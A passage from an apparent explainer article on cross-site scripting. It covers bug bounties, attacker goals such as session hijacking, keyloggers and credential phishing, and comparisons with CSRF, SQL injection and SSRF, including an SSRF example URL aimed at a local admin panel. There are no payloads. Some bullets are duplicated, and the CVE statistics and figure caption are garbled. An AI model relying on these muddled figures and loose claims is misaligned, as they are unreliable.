    Bug bounty hunters can reveal XSS vulnerabilities in these areas by using their inventiveness and in-depth understanding of various attack routes. This helps organizations fix vulnerabilities that would be challenging to find using conventional testing procedures.

  • Ongoing and Constant Testing: Bug bounty schemes, in contrast to standard vulnerability evaluations, are ongoing. Security researchers can continue to test the application for new vulnerabilities, such as XSS problems, as long as the software remains operational. New features and functions are frequently introduced to web apps, which are always changing. This ongoing testing guarantees that possible flaws, including XSS-related ones, are found as soon as they appear.

  • Quick Vulnerability Identification and Patching: Upon discovering XSS vulnerabilities, security experts usually provide comprehensive studies that describe the problem, its potential effect, and how it might be exploited. This makes it possible for businesses to quickly find and fix vulnerabilities before hackers can exploit them. Bug bounty programs provide incentives for discovering vulnerabilities, which incentivizes responsible disclosure and prioritizes important vulnerabilities.

    Thus, bug bounty schemes can speed up the process of finding and fixing XSS vulnerabilities, decreasing the window of opportunity for attackers and improving the organization's overall security posture.

  • Collaboration and Feedback: Collaboration between security researchers and the organization's development or security teams is facilitated via bug bounty programs. Researchers may frequently offer insightful criticism and suggestions on how to address the vulnerability or lessen its effects. This cooperative procedure improves the organization's capacity to promptly resolve security concerns, particularly XSS-related ones.

What can XSS be Used For?

The attackers can take advantage of a cross-site scripting vulnerability to be able to accomplish the below-shared activities:

  • Hijacking user's session: Most online applications keep track of user sessions so that the user can be identified across many HTTP requests. Session cookies are used to identify sessions.

    The Set-Cookie header is used by the server to send you a session cookie once you successfully log in to an application. Now, whenever you view a page in the application or submit a form, the cookie (which is now kept in the browser) is included in all requests made to the server. This way, the server will recognize you.

    Attackers can employ XSS to hijack a user's session by impersonating the genuine user and gaining access to his/her current web session.

  • Perform unauthorized activities: If the HTTPOnly cookie property is set, an attacker will be unable to steal cookies using JavaScript. However, the attacker can still take illegal operations inside the program on behalf of the user via the XSS attack.

  • Phishing to steal user credentials: XSS may also be used to inject a form onto the vulnerable website and gather user credentials using this form. This is referred to as phishing.

  • Capture the keystrokes by injecting a keylogger: Attackers can inject a JavaScript keylogger into the vulnerable web page and capture all of the user's keystrokes on the current page. This sort of attack can be done by using XSS

  • Stealing sensitive information: Stealing sensitive information from the user's current session is another dangerous behavior that an XSS attack may accomplish. Assume an online banking application is vulnerable to XSS, and the attacker has access to the current balance, transaction details, personal data, and so on.

What is the Difference Between XSS and CSRF?

Cross-site scripting (also known as XSS) allows an attacker to run arbitrary JavaScript in a victim's browser. An attacker can employ cross-site request forgery (or CSRF) to get a vulnerable user to do something they didn't want to do.

  • CSRF usually only affects a portion of the actions that a user can complete. Many apps deploy CSRF safeguards in general, but one or two actions remain vulnerable. A successful XSS attack, on the other hand, may generally persuade a user to execute any action that the user is capable of, independent of the feature where the vulnerability exists.

  • CSRF normally only impacts a small percentage of a user's actions. Many apps have CSRF protections in place, but one or two actions are still susceptible. In contrast, a successful XSS attack can persuade a user to perform any action that the user is capable of, regardless of the feature where the vulnerability occurs.

What is the Difference Between XSS and SQL Injection?

SQL Injection is another technique used by hackers, in which a hacker inserts malicious code into SQL queries via a web page input. This injection allows the hacker to interrupt the user's system and, in general, allows the attacker to access data that they would not otherwise be able to get. Hackers can get access to information that the user does not have, and by modifying these programs, the hacker can eventually change the program's content. Hackers can conduct this sort of hacking in a variety of methods, all of which can be quite successful in gaining access to user information.

The XSS and SQL injection methods are both common among hackers, and they are both used to achieve their aims; nevertheless, the crucial thing to note is that these two methods have distinctions, among which we can highlight the language used to write malicious code and the way these scripts function.

  • The primary distinction between a SQL injection attack and an XSS injection attack is that SQL injection attacks are used to take data from databases, whereas XSS attacks are used to send users to websites where attackers may steal data from them.

  • SQL injection is designed to target databases, whereas XSS is designed to attack end-users.

  • Cross-site scripting is more popular and employed in JavaScript, whereas SQL Injection covers Structured Query Language.

  • SQL injection is a server-side vulnerability that targets the program's database, whereas XSS is a client-side vulnerability that targets other application users.

  • XSS is often written in JavaScript, whereas SQL injection uses Structured Query Language (SQL). As a result, this is another distinction between XSS and SQL injection.

What is the Difference Between XSS and SSRF?

SSRF is, Server Side Request Forgery, is a prevalent vulnerability in web-based applications that involves the manipulation of requests. Conversely, XSS infiltrates a command into the program that deceives a browser into doing an undesired activity. SSRF exploits the web app by manipulating it to get unauthorized information.

An example instance of Server-Side Request Forgery (SSRF) might be a website that enables users to get photos, audio files, or other media content by inputting a URL. The web application is aware that it has to go to the specified URL and get the material that has been requested.

Instead of providing a URL to an image or document, you now provide the URL to its own administrative panel. The URL seems to be http://localhost/admin.

An insecure application fails to verify the URL or screen such requests, instead it attempts to provide you access. This kind of attack does not need the involvement of a third-party victim, since it occurs only between the attacker and the application.

By taking advantage of this vulnerability, a malicious individual might possibly get unauthorized access to confidential data stored in a database (such as personal user information or backend data) or take control over system functions if adequate security measures are not in place.

Can XSS be used in phishing and social engineering attacks?

Yes, when combined with social engineering, it enables criminals to carry out sophisticated assaults such as phishing, keylogging, cookie theft, Trojan installation, and identity theft. XSS flaws offer the ideal environment for escalating assaults into more dangerous ones. Additionally, cross-site scripting may be used in combination with other attack methods, such as cross-site request forgery (CSRF).

How common is XSS?

Cross-site scripting is by far the most prevalent form of online application vulnerability, appearing in every edition of the OWASP Top 10 list since its inception. At the same time, it is thought to be less dangerous than SQL injection or command execution. Even if the malicious JavaScript code is run on the client-side and does not directly affect the server, XSS vulnerabilities are nonetheless harmful.

It is estimated that more than 60% of online applications are vulnerable to XSS attacks, which account for more than 30% of all web application attacks.

So far in 2021, 16378 security vulnerabilities (CVEs) have been revealed. There will be 17039 in 2020.

The average severity is 7.1 out of 10, which is similar to what it was in 2020.

2020 Web of Number Vulnerabilities according to weakness

Figure 1. 2020 Number of Web Vulnerabilities according to weakness